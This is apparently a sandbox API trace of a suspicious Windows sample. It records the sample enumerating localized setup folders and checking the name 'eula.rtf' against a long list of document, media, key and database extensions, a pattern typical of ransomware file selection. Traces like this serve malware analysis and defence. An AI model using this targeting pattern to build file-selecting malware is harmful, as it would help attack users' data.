	[0062.459] lstrlenW (lpString=".lgp") returned 4
	[0062.459] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".log") returned 4
	[0062.459] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".m1v") returned 4
	[0062.459] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".m4a") returned 4
	[0062.459] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".m4v") returned 4
	[0062.459] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".max") returned 4
	[0062.459] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0062.459] lstrlenW (lpString=".md") returned 3
	[0062.459] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0062.460] lstrlenW (lpString=".mda") returned 4
	[0062.460] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mdb") returned 4
	[0062.460] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mde") returned 4
	[0062.460] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mdf") returned 4
	[0062.460] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mdw") returned 4
	[0062.460] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mef") returned 4
	[0062.460] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mft") returned 4
	[0062.460] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mfw") returned 4
	[0062.460] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mht") returned 4
	[0062.460] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mhtml") returned 6
	[0062.460] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0062.460] lstrlenW (lpString=".mka") returned 4
	[0062.460] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mkidx") returned 6
	[0062.460] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0062.460] lstrlenW (lpString=".mkv") returned 4
	[0062.460] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mos") returned 4
	[0062.460] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mov") returned 4
	[0062.460] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mp3") returned 4
	[0062.460] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mp4") returned 4
	[0062.460] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0062.460] lstrlenW (lpString=".mpeg") returned 5
	[0062.460] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0062.460] lstrlenW (lpString=".mpg") returned 4
	[0062.460] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".mpv") returned 4
	[0062.461] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".mrw") returned 4
	[0062.461] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".msg") returned 4
	[0062.461] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".mxl") returned 4
	[0062.461] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".myd") returned 4
	[0062.461] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".myi") returned 4
	[0062.461] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".nef") returned 4
	[0062.461] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".nrw") returned 4
	[0062.461] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".obj") returned 4
	[0062.461] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".odb") returned 4
	[0062.461] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".odc") returned 4
	[0062.461] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".odm") returned 4
	[0062.461] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".odp") returned 4
	[0062.461] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".ods") returned 4
	[0062.461] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".oft") returned 4
	[0062.461] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".one") returned 4
	[0062.461] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0062.461] lstrlenW (lpString=".onepkg") returned 7
	[0062.461] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0062.461] lstrlenW (lpString=".onetoc2") returned 8
	[0062.461] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0062.461] lstrlenW (lpString=".opt") returned 4
	[0062.461] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".oqy") returned 4
	[0062.462] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".orf") returned 4
	[0062.462] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".p12") returned 4
	[0062.462] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".p7b") returned 4
	[0062.462] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".p7c") returned 4
	[0062.462] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pam") returned 4
	[0062.462] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pbm") returned 4
	[0062.462] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pct") returned 4
	[0062.462] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pcx") returned 4
	[0062.462] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pdd") returned 4
	[0062.462] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pdf") returned 4
	[0062.462] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pdp") returned 4
	[0062.462] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pef") returned 4
	[0062.462] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pem") returned 4
	[0062.462] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pff") returned 4
	[0062.462] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pfm") returned 4
	[0062.462] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pfx") returned 4
	[0062.462] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".pgm") returned 4
	[0062.462] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0062.462] lstrlenW (lpString=".php") returned 4
	[0062.463] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0062.463] lstrlenW (lpString=".php3") returned 5
	[0062.463] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0062.463] lstrlenW (lpString=".php4") returned 5
	[0062.463] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0062.463] lstrlenW (lpString=".php5") returned 5
	[0062.463] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0062.463] lstrlenW (lpString=".phtml") returned 6
	[0062.463] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0062.463] lstrlenW (lpString=".pict") returned 5
	[0062.463] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0062.463] lstrlenW (lpString=".pl") returned 3
	[0062.463] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0062.463] lstrlenW (lpString=".pls") returned 4
	[0062.463] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0062.463] lstrlenW (lpString=".pm") returned 3
	[0062.463] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0062.463] lstrlenW (lpString=".png") returned 4
	[0062.463] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0062.463] lstrlenW (lpString=".pnm") returned 4
	[0062.463] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0062.463] lstrlenW (lpString=".pot") returned 4
	[0062.463] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0062.463] lstrlenW (lpString=".potm") returned 5
	[0062.463] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0062.463] lstrlenW (lpString=".potx") returned 5
	[0062.463] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0062.463] lstrlenW (lpString=".ppa") returned 4
	[0062.463] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0062.463] lstrlenW (lpString=".ppam") returned 5
	[0062.463] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0062.463] lstrlenW (lpString=".ppm") returned 4
	[0062.463] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0062.463] lstrlenW (lpString=".pps") returned 4
	[0062.463] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0062.463] lstrlenW (lpString=".ppsm") returned 5
	[0062.463] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0062.463] lstrlenW (lpString=".ppt") returned 4
	[0062.464] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".pptm") returned 5
	[0062.464] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0062.464] lstrlenW (lpString=".pptx") returned 5
	[0062.464] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0062.464] lstrlenW (lpString=".prn") returned 4
	[0062.464] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".ps") returned 3
	[0062.464] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0062.464] lstrlenW (lpString=".psb") returned 4
	[0062.464] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".psd") returned 4
	[0062.464] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".pst") returned 4
	[0062.464] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".ptx") returned 4
	[0062.464] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".pub") returned 4
	[0062.464] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".pwm") returned 4
	[0062.464] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".pxr") returned 4
	[0062.464] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".py") returned 3
	[0062.464] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0062.464] lstrlenW (lpString=".qt") returned 3
	[0062.464] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0062.464] lstrlenW (lpString=".r3d") returned 4
	[0062.464] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".raf") returned 4
	[0062.464] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0062.464] lstrlenW (lpString=".rar") returned 4
	[0062.464] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.464] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.465] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.465] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.465] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0062.465] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.575] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0062.575] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.575] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811a88
	[0062.576] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.576] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.576] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.577] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.577] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.577] FindClose (in: hFindFile=0x811a88 | out: hFindFile=0x811a88) returned 1
	[0062.577] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.577] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1
	[0062.577] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.577] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811bc8
	[0062.577] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.577] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.577] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.578] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0062.578] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0062.578] FindClose (in: hFindFile=0x811bc8 | out: hFindFile=0x811bc8) returned 1
	[0062.578] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0062.578] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1
	[0062.578] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0062.578] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811bc8
	[0062.579] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.579] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.579] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0062.579] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
